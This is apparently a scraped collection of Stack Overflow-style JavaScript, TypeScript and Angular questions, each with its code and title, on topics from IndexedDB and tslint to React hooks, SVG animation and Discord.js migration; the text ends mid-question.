TypeScript ? let a : Array < number > = [ 1,2,3,4 ] ; let b : number = a [ 4 ] ; //undefined class Example { property : string ; } let c : Example = { property : `` example string '' } let d : string = c [ `` Not a property name '' ] ; //undefined",Why does indexing in an array break type safety in TypeScript ? "JS : I have sent data to my jquery file and I tested the data string and everything is stored where it should be but when I post it to my php file all the variables are null . Can someone help me ? and then my php file $ ( document ) .ready ( function ( ) { $ ( `` .button '' ) .click ( function ( ) { // $ ( '.error ' ) .hide ( ) ; var firstname = $ ( `` input # First_Name '' ) .val ( ) ; var lastname = $ ( `` input # Last '' ) .val ( ) ; var areacode = $ ( `` input # area_code '' ) .val ( ) ; var phonenumber = $ ( `` input # Phone_Number '' ) .val ( ) ; var emailaddress = $ ( `` input # emailaddress '' ) .val ( ) ; var confirmemail = $ ( `` input # confirm_email '' ) .val ( ) ; var password = $ ( `` input # Password_Input '' ) .val ( ) ; var confirmpassword = $ ( `` input # ConfirmPassword '' ) .val ( ) ; var streetaddress = $ ( `` input # StreetAddress_input '' ) .val ( ) ; var streetaddress2 = $ ( `` input # StreetAddress2_input '' ) .val ( ) ; var city = $ ( `` input # City_Input '' ) .val ( ) ; var state = $ ( `` input # StateInput '' ) .val ( ) ; var zipcode = $ ( `` input # ZipCode '' ) .val ( ) ; var month = $ ( `` input # month_input '' ) .val ( ) ; var day = $ ( `` input # day_input '' ) .val ( ) ; var year = $ ( `` input # year_input '' ) .val ( ) ; var services = $ ( `` input # services_input '' ) .val ( ) ; var agreement = $ ( `` input # agreement '' ) .val ( ) ; var dataString = 'firstname= ' + firstname + ' & lastname= ' + lastname + ' & areacode= ' + areacode + ' & phonenumber= ' + phonenumber + ' & emailaddress= ' + emailaddress + ' & confirmemail= ' + confirmemail + ' & password= ' + password + ' & streetaddress= ' + streetaddress + ' & streetaddress2= ' + streetaddress2 + ' & city= ' + city + ' & state= ' + state + ' & zipcode= ' + zipcode + ' & month= ' + month + ' & day= ' + day + ' & year= ' + year + ' & services= ' + services + ' & agreement= ' + agreement ; alert ( dataString ) ; $ .ajax ( { type : `` POST '' , url : `` http : //www.vectorcreditsolution.com/js/process.php '' , data : dataString , success : function ( ) { alert ( `` Yay it was sent '' ) ; } } ) ; return false ; } ) ; < ? php $ FirstName = $ _POST [ `` firstname '' ] ; $ LastName = $ _POST [ 'lastname ' ] ; $ AreaCode = $ _POST [ 'areacode ' ] ; $ PhoneNumber = $ _POST [ 'phonenumber ' ] ; $ EmailAddress = $ _POST [ 'emailaddress ' ] ; $ Password = $ _POST [ 'password ' ] ; $ StreetAddress = $ _POST [ 'streetaddress ' ] ; $ StreetAddress2 = $ _POST [ 'streetaddress2 ' ] ; $ City= $ _POST [ 'city ' ] ; $ State = $ _POST [ 'state ' ] ; $ ZipCode = $ _POST [ 'zipcode ' ] ; $ Month = $ _POST [ 'month ' ] ; $ Day = $ _POST [ 'day ' ] ; $ Year= $ _POST [ 'year ' ] ; $ Service= $ _POST [ 'services ' ] ; var_dump ( $ _POST [ `` firstname '' ] ) ; var_dump ( $ _POST [ 'firstname ' ] ) ; var_dump ( $ _POST [ firstname ] ) ;",Submitting From jQuery to PHP "JS : I want to save to IndexedDB before the user leaves my page . I 'm doing this periodically , but since it 's pretty big , I do n't want to save too often.my current ( broken ) code is as follows : Here , persist immediately returns a promise and the browser exists before I get the chance to save state.Unfortunately , does n't seem like IndexedDB has a synchronous API at this point.Is there anything I can do to make the browser wait so i can store a value into IndexedDB ? window.addEventListener ( 'beforeunload ' , ( event ) = > { persist ( state ) ; } ) ;",Save to IndexedDB beforeunload "JS : I am writing a program using typescript and tslint as a linter.My current favorite list of rules is the following ( tslint.json ) : Although I am using Tslint it fails to catch a calling to a function with wrong number of parameters.For example I have the following function : And I am calling it with from inside another function like this : As you can see I am passing a parameter to the displayTimer function ( in this case the number 1 but it could be anything else ) and the linter is not catching that . { `` extends '' : `` tslint : recommended '' , `` rules '' : { `` comment-format '' : [ false , `` check-space '' ] , `` eofline '' : false , `` triple-equals '' : [ false , `` allow-null-check '' ] , `` no-trailing-whitespace '' : false , `` one-line '' : false , `` no-empty '' : false , `` typedef-whitespace '' : false , `` whitespace '' : false , `` radix '' : false , `` no-consecutive-blank-lines '' : false , `` no-console '' : false , `` typedef '' : [ true , `` variable-declaration '' , `` call-signature '' , `` parameter '' , `` property-declaration '' , `` member-variable-declaration '' ] , `` quotemark '' : false , `` no-any '' : true , `` one-variable-per-declaration '' : false } } let displayTimer : Function = function ( ) : void { document.getElementById ( 'milliseconds ' ) .innerHTML = ms.toString ( ) ; document.getElementById ( 'seconds ' ) .innerHTML = seconds.toString ( ) ; document.getElementById ( 'minutes ' ) .innerHTML= minutes.toString ( ) ; } ; let turnTimerOn : Function = function ( ) : void { ms += interval ; if ( ms > = 1000 ) { ms = 0 ; seconds += 1 ; } if ( seconds > = 60 ) { ms = 0 ; seconds = 0 ; minutes += 1 ; } displayTimer ( 1 ) ; } ;",How to check for wrong number of parameters passed to a function "JS : This worksbut if I doit results in errorsfor my end goal I 'd like to be able to do something like this pseudocodebut right now I 'm not sure why I ca n't require files inside the loop ? require ( './AppCtrl ' ) ; [ './AppCtrl ' ] .forEach ( function ( name ) { require ( name ) ; } ) ; _prelude.js:1 Uncaught Error : Can not find module './AppCtrl 's @ _prelude.js:1s @ _prelude.js:1 ( anonymous function ) @ _prelude.js:1 ( anonymous function ) @ index.js:48 @ index.js:3s @ _prelude.js:1 ( anonymous function ) @ _prelude.js:11../config @ app.js:22s @ _prelude.js:1e @ _prelude.js:1 ( anonymous function ) @ _prelude.js:1 angular.js:12416 Error : [ ng : areq ] Argument 'AppCtrl ' is not a function , got undefined http : //errors.angularjs.org/1.4.5/ng/areq ? p0=AppCtrl & p1=not % 20a % 20function % 2C % 20got % 20undefinedat REGEX_STRING_REGEXP ( angular.js:68 ) at assertArg ( angular.js:1795 ) at assertArgFn ( angular.js:1805 ) at angular.js:9069at setupControllers ( angular.js:8133 ) at nodeLinkFn ( angular.js:8173 ) at compositeLinkFn ( angular.js:7637 ) at publicLinkFn ( angular.js:7512 ) at angular.js:1660at Scope.parent. $ get.Scope. $ eval ( angular.js:15878 ) foreach name { angular.module ( ... ) .controller ( require ( name ) ) ; }",Why ca n't I require ( ... ) in a loop using browserify ? "JS : A button is displayed on the page . When the user selects the button the child component will appear , however , the following error appears - Error : Uncaught ( in promise ) : Error : No component factory found for ModalComponent . Did you add it to @ NgModule.entryComponents ? The structure I have set up is as follows and this is in conjunction with Ionic 3 - I put the modal component in the pageOne.modulepageOne.module pageOne.ts app ( folder ) - app.module - app.componentcomponents ( folder ) - modal-component.tspages ( folder ) - pageOne ( folder ) - pageOne.module - pageOne.ts @ NgModule ( { declarations : [ pageOne , modalComponent ] , entryComponents : [ modalComponent ] , imports : [ IonicPageModule.forChild ( pageOne ) , ] , exports : [ pageOne , ] } ) export class pageOneModule { } @ IonicPage ( ) @ Component ( { selector : 'pageOne ' , templateUrl : 'pageOne.html ' , } ) export class pageOne { }",Not able to load component into page - Angular 4/Ionic 3 "JS : I 'm reading a book called MEAN Machine , and as I 'm getting to the late chapters , I 've got stuck at one of the sample applications , that does n't seem to work.The problem seems to occur because my mainController calls authService 's Auth.getUser ( ) method , which may return either a $ http.get ( ) or a $ q.reject ( ) . As I 'm not logged in , it returns $ q.reject ( ) , and fails to chain the .success ( ) promise.It throws following exception : TypeError : undefined is not a function at mainCtrl.js:13My code is as follows.CONTROLLERmainControllerSERVICEauthServiceWhat am I missing ? angular.module ( 'mainCtrl ' , [ ] ) .controller ( 'mainController ' , function ( $ rootScope , $ location , Auth ) { var vm = this ; // check to see if a user is logged in on every request $ rootScope. $ on ( ' $ routeChangeStart ' , function ( ) { vm.loggedIn = Auth.isLoggedIn ( ) ; // get user information on route change Auth.getUser ( ) /* ========= PROBLEM HERE ========= */ .success ( function ( data ) { vm.user = data ; } ) ; } ) ; // ... other stuff } ) ; angular.module ( 'authService ' , [ ] ) // =================================================== // auth factory to login and get information // inject $ http for communicating with the API // inject $ q to return promise objects // inject AuthToken to manage tokens // =================================================== .factory ( 'Auth ' , function ( $ http , $ q , AuthToken ) { var authFactory = { } ; // get the user info /* ========= PROBLEM LEADS HERE ========= */ authFactory.getUser = function ( ) { if ( AuthToken.getToken ( ) ) return $ http.get ( '/api/me ' , { cache : true } ) ; else { return $ q.reject ( { message : 'User has no token . ' } ) ; } }","Angular $ q.reject ( ) .success ( ) , does that make sense ?" "JS : I have an Angular 1/Angular 2 hybrid app that was working with rc.3 and the deprecated router . From all sources that I can find , rc.5 is the big step to move towards with the new router . I am able to get my hybrid app bootstrapped , and render my root component , but routing does not work.My root NG2 component bootstraps , as I can throw stuff in the template it renders . But it seems when I add the < router-outlet > < /router-outlet > it will not render the child route . If I bootstrap just my NG2 app without the upgradeAdapter , everything works as expected.I feel like I am missing just one connecting piece . Any ideas ? Angular RC.6 and Router RC.2 UpdateI upgraded to rc.6 and the rc.2 version of the router this past week , same problem . The UpgradAdapter works great when routing is n't involved . Once I pull in the router-outlet , then nothing renders and there are no errors . var upgradeAdapter = new UpgradeAdapter ( forwardRef ( ( ) = > AppModule ) ) ; angular.module ( 'ng1App ' , [ ] ) .directive ( 'myBaseComponent ' , < any > upgradeAdapter.downgradeNg2Component ( MyBaseComponent ) ) ; @ NgModule ( { imports : [ BrowserModule , routing ] , providers : [ appRoutingProviders , HTTP_PROVIDERS ] , declarations : [ MyBaseComponent , MyNG2RoutableComponent ] } ) class AppModule { } upgradeAdapter.bootstrap ( document.body , [ 'ng1App ' ] ) .ready ( function ( ) { console.log ( 'bootstraped ! ' ) ; } ) ;",Bootstrapping an Angular 2 rc.6 hybrid app using ngUpgrade with routing "JS : Given a html structure that looks like the following html , but is of arbitrary depth . ( i.e . it could go many levels deeper ) . Because it is of arbitray depth , I would prefer a solution that does n't require adding any extra markup to the html ( e.g . classes ) How can I count all the leaves that are a child of each ul ? So in this example the outer most ul would have 3 leaves and the nested one two leaves . This seems like a recursion issue , but I ca n't think through it . < ul > < ! -- Leaf Count 3 -- > < li > branch 1 < ul > < ! -- Leaf Count 2 -- > < li > leaf 1 < /li > < li > leaf 2 < /li > < /ul > < /li > < li > leaf 3 < /li > < /ul >",Find the leaf count for each parent ul in a nested ul structure "JS : I have the following html And am trying to get a menu which looks the following wayThe difficulty the odd shape of the background and the fact that the text will change with translations of the site.At present I have the following javascriptThe only way I can see possibly working is absolutely positioning the inner ul ( contained by the li.dropdown ) which will give me a box , z-indexing the parent li on top using left/right/top borders to get the join of the two boxes and then maybe adding an extra div to cover any overlap parent li . Am wondering if there is a better way ? < ul id= '' header '' > < li class= '' dropdown '' > < span > Our Locations < /span > < ul > < li > < a href= '' '' > London < /a > < /li > < li > < a href= '' '' > New York < /a > < /li > < /ul > < /li > < li class= '' dropdown '' > < span > Language Selector < /span > < ul > < li > < a href= '' '' > English < /a > < /li > < li > < a href= '' '' > German < /a > < /li > < li > < a href= '' '' > French < /a > < /li > < li > < a href= '' '' > Chinese < /a > < /li > < li > < a href= '' '' > Mandarin < /a > < /li > < /ul > < /li > < /ul > ( function ( $ ) { $ .fn.dropDownMenu = function ( ) { $ .each ( this , function ( ) { var li = $ ( this ) ; li.hover ( function ( ) { $ ( this ) .addClass ( `` hover '' ) ; $ ( 'ul : first ' , this ) .css ( 'visibility ' , 'visible ' ) ; } , function ( ) { $ ( this ) .removeClass ( `` hover '' ) ; $ ( 'ul : first ' , this ) .css ( 'visibility ' , 'hidden ' ) ; } ) ; } ) ; } $ ( function ( ) { $ ( `` .dropdown '' ) .dropDownMenu ( ) ; } ) ; } ) ( jQuery ) ;",what would be the simplest / best way of creating a dropdown menu with the following look ( has odd borders and needs to be dynamic ) "JS : I created a layout of the working planetary gear . When you click on the Stop button , the animation of the rotation of the gears should stop and the image “ freeze ” . But in reality the image returns to its original state . This can be seen on the yellow markers on the gears . Below is the code I ’ ve made at the moment : Question : How to make it so that when you click the Stop button the image stops in the current state and the next time you press the GO button , the animation does not start from the beginning , but from the locked state . I could not do it . I will be grateful for any solution CSS , JS , SVG or a combination of them . < svg version= '' 1.1 '' xmlns= '' http : //www.w3.org/2000/svg '' xmlns : xlink='http : //www.w3.org/1999/xlink ' width= '' 400 '' height= '' 400 '' viewBox= '' 0 0 400 400 '' > < title > animation planetary mechanism < /title > < defs > < marker id= '' MarkerArrow '' viewBox= '' 0 0 20 20 '' refX= '' 2 '' refY= '' 5 '' markerUnits= '' userSpaceOnUse '' orient= '' auto '' markerWidth= '' 20 '' markerHeight= '' 20 '' > < rect width= '' 14 '' height= '' 10 '' rx= '' 2 '' fill= '' # 22211D '' / > < /marker > < line id= '' line1 '' x1= '' 150 '' y1= '' 100 '' x2= '' 60 '' y2= '' 100 '' style= '' fill : none ; marker-end : url ( # MarkerArrow ) ; marker-start : url ( # MarkerArrow ) ; stroke : # 22211D ; stroke-width:6 ; `` > < /line > < marker id= '' MarkerArrow-s '' viewBox= '' 0 0 20 20 '' refX= '' 3 '' refY= '' 1.7 '' markerUnits= '' userSpaceOnUse '' orient= '' auto '' markerWidth= '' 20 '' markerHeight= '' 20 '' > < rect width= '' 7 '' height= '' 3.5 '' rx= '' 2 '' fill= '' # 22211D '' / > < /marker > < line id= '' line-s '' x1= '' 175 '' y1= '' 100 '' x2= '' 202 '' y2= '' 100 '' style= '' fill : none ; marker-end : url ( # MarkerArrow-s1 ) ; marker-start : url ( # MarkerArrow-s ) ; stroke : # 22211D ; stroke-width:2 ; `` > < /line > < linearGradient id= '' vertical '' x2= '' 0 % '' y2= '' 100 % '' spreadMethod= '' pad '' > < stop offset= '' 0 % '' stop-color= '' powderblue '' / > < stop offset= '' 100 % '' stop-color= '' lightgreen '' / > < /linearGradient > < /defs > < rect width= '' 100 % '' height= '' 100 % '' fill= '' url ( # vertical ) '' / > < g transform= '' translate ( 90,50 ) '' > < g id= '' wheel '' > < g > < animateTransform attributeName= '' transform '' type= '' rotate '' from= '' 0 100 100 '' to= '' 360 100 100 '' begin= '' gO1.click '' end= '' stop1.click '' dur= '' 14s '' repeatCount= '' indefinite '' / > < use xlink : href= '' # line1 '' transform= '' rotate ( 0 100 100 ) '' / > < use xlink : href= '' # line1 '' transform= '' rotate ( 120 100 100 ) '' / > < use xlink : href= '' # line1 '' transform= '' rotate ( 240 100 100 ) '' / > < circle cx= '' 100 '' cy= '' 100 '' r= '' 15 '' style= '' stroke : # 22211D ; fill : none ; stroke-width : 4px ; '' / > < circle cx= '' 100 '' cy= '' 100 '' r= '' 50 '' style= '' stroke : # 22211D ; fill : none ; stroke-width : 15px ; '' / > < circle cx= '' 100 '' cy= '' 100 '' r= '' 60 '' style= '' stroke : # 22211D ; fill : none ; stroke-dasharray : 5 6 ; stroke-width : 10px ; '' / > < circle cx= '' 150 '' cy= '' 100 '' r= '' 3 '' style= '' stroke : # 22211D ; fill : yellow ; `` / > < /g > < /g > < g id= '' col-small '' > < g > < animateTransform attributeName= '' transform '' type= '' rotate '' from= '' 0 188 100 '' to= '' -360 188 100 '' begin= '' gO1.click '' end= '' stop1.click '' dur= '' 3.5s '' repeatCount= '' indefinite '' / > < use xlink : href= '' # line-s '' transform= '' rotate ( 0 188 100 ) '' / > < use xlink : href= '' # line-s '' transform= '' rotate ( 120 188 100 ) '' / > < use xlink : href= '' # line-s '' transform= '' rotate ( 240 188 100 ) '' / > < circle cx= '' 188 '' cy= '' 100 '' r= '' 8 '' style= '' stroke : # 22211D ; fill : none ; stroke-width : 4px ; '' / > < circle cx= '' 188 '' cy= '' 100 '' r= '' 18 '' style= '' stroke : # 22211D ; fill : none ; stroke-width : 7px ; '' / > < circle cx= '' 188 '' cy= '' 100 '' r= '' 24 '' style= '' stroke : # 22211D ; fill : none ; stroke-dasharray : 5 5 ; stroke-width : 10px ; '' / > < circle cx= '' 206 '' cy= '' 100 '' r= '' 3 '' style= '' stroke : # 22211D ; fill : yellow ; `` / > < /g > < /g > < g id= '' planetar '' > < g > < animateTransform attributeName= '' transform '' type= '' rotate '' from= '' 0 100 100 '' to= '' -360 100 100 '' begin= '' gO1.click '' end= '' stop1.click '' dur= '' 28s '' repeatCount= '' indefinite '' / > < circle cx= '' 100 '' cy= '' 100 '' r= '' 116 '' style= '' stroke : # 22211D ; fill : none ; stroke-dasharray : 5 5 ; stroke-width : 10px ; '' / > < circle cx= '' 100 '' cy= '' 100 '' r= '' 124 '' style= '' stroke : # 22211D ; fill : none ; stroke-width : 12px ; '' / > < circle cx= '' 224 '' cy= '' 100 '' r= '' 3 '' style= '' stroke : # 22211D ; fill : yellow ; `` / > < /g > < /g > < g > < use xlink : href= '' # col-small '' transform= '' rotate ( 240 100 100 ) '' / > < use xlink : href= '' # col-small '' transform= '' rotate ( 120 100 100 ) '' / > < /g > < g transform= '' translate ( -10,160 ) '' > < g id= '' gO1 '' > < rect x= '' 45 '' y= '' 85 '' height= '' 22 '' width= '' 60 '' rx= '' 5 '' fill= '' # 0080B8 '' stroke= '' dodgerblue '' / > < text x= '' 62 '' y= '' 102 '' font-size= '' 16 '' fill= '' yellow '' > GO < /text > < /g > < g id= '' stop1 '' > < rect x= '' 110 '' y= '' 85 '' height= '' 22 '' width= '' 60 '' rx= '' 5 '' fill= '' crimson '' stroke= '' red '' / > < text x= '' 120 '' y= '' 102 '' font-size= '' 16 '' fill= '' yellow '' > STOP < /text > < /g > < /g > < /g > < /svg >",How to stop the animation and freeze the image when pressing the ` Stop ` button "JS : I have a text editor in which a user can write HTML code . I do n't want them to write LaTeX outside of a particular element . It might be something like : I want it so if they have LaTeX math outside of that tag , it 's just displayed as normal text . How might this be possible ? < x-latexmath > ... < /x-latexmath >",Can MathJax be made to only convert LaTeX if it 's inside a certain tag ? "JS : My code is a simple function that checks which radio button was pressed , and adds the value of that radio button to my var input = 0 ; . However , I know I am doing something wrong as it works but the output is wrong . When one of the if statements is true , instead of input ( 0 ) now being equal to itself plus the new value of the getElementById ( `` small '' ) .value , it prints out 010 as opposed to the now 10.I know in Java there was a convention similar to input += getElementById ( `` small '' ) .value ; but this does n't seem to work . So as you can see in my example below , I tried the alternative of input = input + /*code*/ ; but still no luck.I am new to JavaScript but very familiar with Java . I imagine I 'm just using the wrong syntax here but all my Google searches are a bust . function calculate ( ) { var input = 0 ; if ( document.getElementById ( `` small '' ) .checked ) { input = input + document.getElementById ( `` small '' ) .value ; } else if ( document.getElementById ( `` medium '' ) .checked ) { input = input + document.getElementById ( `` medium '' ) .value ; } else if ( document.getElementById ( `` large '' ) .checked ) { input = input + document.getElementById ( `` large '' ) .value ; } else { alert ( `` failed '' ) ; } document.getElementById ( `` outar '' ) .innerHTML = input ; }",Javascript += equivalent ? "JS : Here 's my situation : I 've got a custom hook , called useClick , which gets an HTML element and a callback as input , attaches a click event listener to that element , and sets the callback as the event handler.App.jsuseClick.jsNote that with the code above , I 'll be adding and removing the event listener on every call of this hook . And I would very much like to only add on mount and remove on dismount . Instead of adding and removing on every call.Even though I 'm using this : The problem with that is that even though element ( ref ) will remain the same across all renders , callback ( which is the handleClick function from App ) will change on every render . So I end up adding and removing the handlers on every render anyway.I also ca n't transform handleCLick into a useCallback , because it depends on the state myState variable that changes on every render and my useCallback would still be recreated on every render ( when myState changes ) and the problem would continue.QUESTION : Example on CodeSandboxShould I worry about removing and attaching even listeners on every render ? Or is this really not expensive at all and has no chance of hurting my performance ? It there a way to avoid it ? function App ( ) { const buttonRef = useRef ( null ) ; const [ myState , setMyState ] = useState ( 0 ) ; function handleClick ( ) { if ( myState === 3 ) { console.log ( `` I will only count until 3 ... '' ) ; return ; } setMyState ( prevState = > prevState + 1 ) ; } useClick ( buttonRef , handleClick ) ; return ( < div > < button ref= { buttonRef } > Update counter < /button > { `` Counter value is : `` + myState } < /div > ) ; } import { useEffect } from `` react '' ; function useClick ( element , callback ) { console.log ( `` Inside useClick ... '' ) ; useEffect ( ( ) = > { console.log ( `` Inside useClick useEffect ... '' ) ; const button = element.current ; if ( button ! == null ) { console.log ( `` Attaching event handler ... '' ) ; button.addEventListener ( `` click '' , callback ) ; } return ( ) = > { if ( button ! == null ) { console.log ( `` Removing event handler ... '' ) ; button.removeEventListener ( `` click '' , callback ) ; } } ; } , [ element , callback ] ) ; } export default useClick ; useEffect ( ( ) = > { // Same code as above } , [ element , callback ] ) ; // ONLY RUN THIS WHEN 'element ' OR 'callback ' CHANGES const handleClick = useCallback ( ( ) = > { if ( myState === 3 ) { console.log ( `` I will only count until 3 ... '' ) ; return ; } setMyState ( prevState = > prevState + 1 ) ; } , [ myState ] ) ; // THIS WILL CHANGE ON EVERY RENDER !",Is it too expensive to add and remove event listeners on every call of my React custom hook ? How to avoid it ? JS : I have the following multiple drop down select tag So whenever I select an option the text towards the right of it disappears . Like thisI have such several drop downs in my web portal . I do n't want the option text to disappear . Can this be done using HTML or CSS rather than writing a customized JavaScript code ? If so how ? .Something { overflow-x : scroll ; width : 16 % ; } < select multiple size= '' 5 '' class= '' Something '' > < option > Optionfghfghfgdgdffyuujkyujg 1 < /option > < option > Optionfghfghfgdgdffyuujkyujg 1 < /option > < option > Option n fgnfn ghdnghd ngdh 2 < /option > < option > Optionfghfghfgdgdffyuujkyujg 1 < /option > < option > Option n fgnfn ghdnghd ngdh 2 < /option > < option > Option n fgnfn ghdnghd ngdh 2 < /option > < /select >,Selected Options disappear in a multiple drop-down select tag with scroll bar in HTML "JS : I upgraded to Discord.js v12 , but it broke my existing v11 code . Here are some examples of things that cause errors : How can I migrate my code to Discord.js v12 and fix these errors ? Where can I see the breaking changes v12 introduced ? // TypeError : client.users.get is not a functionconst user = client.users.get ( '123456789012345678 ' ) // TypeError : message.guild.roles.find is not a functionconst role = message.guild.roles.find ( r = > r.name === 'Admin ' ) // TypeError : message.member.addRole is not a functionawait message.member.addRole ( role ) // TypeError : message.guild.createChannel is not a functionawait message.guild.createChannel ( 'welcome ' ) // TypeError : message.channel.fetchMessages is not a functionconst messages = await message.channel.fetchMessages ( ) const { RichEmbed } = require ( 'discord.js ' ) // TypeError : RichEmbed is not a constructorconst embed = new RichEmbed ( ) const connection = await message.channel.join ( ) // TypeError : connection.playFile is not a functionconst dispatcher = connection.playFile ( './music.mp3 ' )",How can I migrate my code to Discord.js v12 from v11 ? "JS : I have seen these events sprinkled throughout chaplin example code , but there are no explanations within the documentation or the source . It seems that it means it is a global event , that triggers an action . Is that correct ? Are they just a convention , or are they enforced in some way ? # Handle login @ subscribeEvent 'logout ' , @ logout @ subscribeEvent 'userData ' , @ userData # Handler events which trigger an action # Show the login dialog @ subscribeEvent ' ! showLogin ' , @ showLoginView # Try to login with a service provider @ subscribeEvent ' ! login ' , @ triggerLogin # Initiate logout @ subscribeEvent ' ! logout ' , @ triggerLogout","Within the Chaplin js framework , what do the events prefixed with ! mean ?" "JS : In the React tutorial , it says Doing onClick= { alert ( 'click ' ) } would alert immediately instead of when the button is clicked.However , I can not understand why that would be ... can anyone clarify this for me please ? Why ca n't you pass a function invocation as a handler ? class Square extends React.Component { render ( ) { return ( < button className= '' square '' onClick= { ( ) = > alert ( 'click ' ) } > { this.props.value } < /button > ) ; } }",Why do event handlers need to be references and not invocations ? "JS : There 's a difference in the execution order of the microtask/task queues when a button is clicked in the DOM , vs it being programatically clicked . My understanding is that when the callstack is empty , the event loop will take callbacks from the microtask queue to place on the callstack . When both the callstack and microtask queue are empty , the event loop starts taking callbacks from the task queue.When the button with the id btn is clicked , both `` click '' event listeners are placed on the task queue in order they are declared in.The event loop places the `` click-1 '' callback on the callstack . It has a promise that immediately resolves , placing the `` resolved-1 '' callback on the microtask queue.The `` click-1 '' callback executes its console.log , and completes . Now there 's something on the microtask queue , so the event loop takes the `` resolved-1 '' callback and places it on the callstack . `` resolved-1 '' callback is executed . Now both the callstack and microtask queue and are empty.The event loop then `` looks '' at the task queue once again , and the cycle repeats.This would explain this output from the code snippet aboveI would expect it to be the same then I programatically click the button with btn.click ( ) .However , the output is different.Why is there a difference in the execution order when button is programatically clicked ? const btn = document.querySelector ( ' # btn ' ) ; btn.addEventListener ( `` click '' , function ( ) { Promise.resolve ( ) .then ( function ( ) { console.log ( 'resolved-1 ' ) ; } ) ; console.log ( 'click-1 ' ) ; } ) ; btn.addEventListener ( `` click '' , function ( ) { Promise.resolve ( ) .then ( function ( ) { console.log ( 'resolved-2 ' ) ; } ) ; console.log ( 'click-2 ' ) ; } ) ; < button id='btn ' > Click me ! < /button > // representing the callstack and task queues as arrayscallstack : [ ] microtask queue : [ ] task queue : [ `` click-1 '' , `` click-2 '' ] callstack : [ `` click-1 '' ] microtask queue : [ `` resolved-1 '' ] task queue : [ `` click-2 '' ] callstack : [ `` resolved-1 '' ] microtask queue : [ ] task queue : [ `` click-2 '' ] callstack : [ ] microtask queue : [ ] task queue : [ `` click-2 '' ] // `` click-2 '' is placed on the callstackcallstack : [ `` click-2 '' ] microtask queue : [ ] task queue : [ ] // Immediately resolved promise puts `` resolved-2 '' in the microtask queuecallstack : [ `` click-2 '' ] microtask queue : [ `` resolved-2 '' ] task queue : [ ] // `` click-2 '' completes ... callstack : [ ] microtask queue : [ `` resolved-2 '' ] task queue : [ ] // `` resolved-2 '' executes ... callstack : [ `` resolved-2 '' ] microtask queue : [ ] task queue : [ ] // and completescallstack : [ ] microtask queue : [ ] task queue : [ ] `` hello click1 '' '' resolved click1 '' '' hello click2 '' '' resolved click2 '' const btn = document.querySelector ( ' # btn ' ) ; btn.addEventListener ( `` click '' , function ( ) { Promise.resolve ( ) .then ( function ( ) { console.log ( 'resolved-1 ' ) ; } ) ; console.log ( 'click-1 ' ) ; } ) ; btn.addEventListener ( `` click '' , function ( ) { Promise.resolve ( ) .then ( function ( ) { console.log ( 'resolved-2 ' ) ; } ) ; console.log ( 'click-2 ' ) ; } ) ; btn.click ( ) < button id='btn ' > Click me ! < /button > `` hello click1 '' '' hello click2 '' '' resolved click1 '' '' resolved click2 ''",Why is there a difference in the task/microtask execution order when a button is programmatically clicked vs DOM clicked ? "JS : I 'm making a website with infinite scrolling . That is , as the user scrolls to the bottom of the page , a new block of content is appended to the bottom . It 's very similar to Facebook . Here 's an example of 3 pages loaded : When the user clicks something on the last page , I take them to a separate detail page . But if the user clicks back to the search results page , I have no memory of their previous location and must load page 0 again.I know of some old-school methods to solve this , but they each have some serious problems : Hash URLI could update the URL every time a new page is loaded . For example : www.website.com/page # 2 . When the user goes to the detail page and back , the URL tells me the last loaded page , so I load it for him : But this is poor user experience . Only page 2 is loaded . The user can not scroll up to see older content . I ca n't just load pages 0 , 1 , and 2 because that would overload the server , considering that the back button accounts for 50 % of web traffic ( Jacob Nielsen study ) . Local StorageCookies do n't have the storage capacity to store many pages of data . Local Storage should have sufficient space . One idea is to store all the loaded pages into Local Storage . When the user goes back to the search results , I load from local storage instead of hitting the server . The problem with this approach is that a large chunk of my users are on browsers that do n't support local storage ( IE7 ) . _________| || 0 ||_________|| || 1 ||_________|| || 2 ||_________| _________| || 0 ||_________| _________| || 2 ||_________|",How do I save an infinite stack of AJAX content when a user leaves the page ? "JS : Im using ui.router and including my navigation like this in my main html file : the logedin ( ) boolean will be set through the angular.module ( ) .run ( ) in this function : If i click logout in one of the navigation , the controller of the navigation will trigger this function : The Problems is after the $ state.go the navigation is not hiding , but after refreshing the page.Do i have to rerender the main index template/view ( and then how ) ? Or how could I solve this problem ? < header ng-if-start= '' logedin ( ) '' > < /header > < navigation ng-if-end= '' logedin ( ) '' > < /navigation > $ rootScope. $ on ( ' $ stateChangeStart ' , function ( e , to ) $ scope.logout = function ( ) { store.remove ( 'jwt ' ) ; $ state.go ( 'login ' ) ; }",AngularJs : ng-if reacting too late "JS : I 'm trying to recursively fetch all the comments for a Hacker News story using their Firebase API . A story has a kids property , which is an array of IDs representing comments . Each comment can have its own kids property , which points to its children comments , and so on . I want to create an array of the entire comment tree , something that looks like : I thought I could do this using the following function : And then be notified once the entire comment tree has been fetched by using : What ends up happening is Promise.all ( ) .then ( ) fires once the first level of comment promises have resolved ( which makes sense since all of the commentPromises have resolved . ) However , I want to know once all the nested promises have resolved . How can I do this ? [ { 'title ' : 'comment 1 ' , 'replies ' : [ { 'title ' : 'comment 1.1 ' } , { 'title ' : 'comment 1.2 ' 'replies ' : [ { 'title ' : 'comment 1.2.1 ' } ] } ] } ] function getItem ( id ) { return api .child ( ` item/ $ { id } ` ) .once ( 'value ' ) .then ( ( snapshot ) = > { // this is a Firebase Promise let val = snapshot.val ( ) if ( val.kids ) { val.replies = val.kids.map ( ( id ) = > getItem ( id ) ) } return val } ) } getItem ( storyId ) .then ( story = > { // The story and all of its comments should now be loaded console.log ( story ) } )",Fire Promise.all ( ) once all nested promises have resolved "JS : In a Javascript function , are you required to define nested functions as function expressions or are function declarations allowed in a function body ? For example , would something like this be compliant ? Or would you have to do something like this ? ECMA-262 says that : Several widely used implementations of ECMAScript are known to support the use of FunctionDeclaration as a Statement . However there are significant and irreconcilable variations among the implementations in the semantics applied to such FunctionDeclarations . Because of these irreconcilable differences , the use of a FunctionDeclaration as a Statement results in code that is not reliably portable among implementations . It is recommended that ECMAScript implementations either disallow this usage of FunctionDeclaration or issue a warning when such a usage is encountered . Future editions of ECMAScript may define alternative portable means for declaring functions in a Statement context.Does this mean that a function declaration in a function body is technically incorrect , or have I got this completely wrong ? I 've heard people refer to the body as a block , which according to the standard , is one or more statements , but I 'm not sure . function a ( ) { function b ( ) { function c ( ) { window.alert ( 3 ) ; } window.alert ( 2 ) ; } window.alert ( 1 ) ; } function a ( ) { var a = function ( ) { var c = function ( ) { window.alert ( 3 ) ; } window.alert ( 2 ) ; } window.alert ( 1 ) ; }",Nested functions Javascript "JS : I have the following html : ... ... ... ... ... .I want to select all the input elements , but when I enter : In the chrome devtools console , I only get the first element : what can I enter 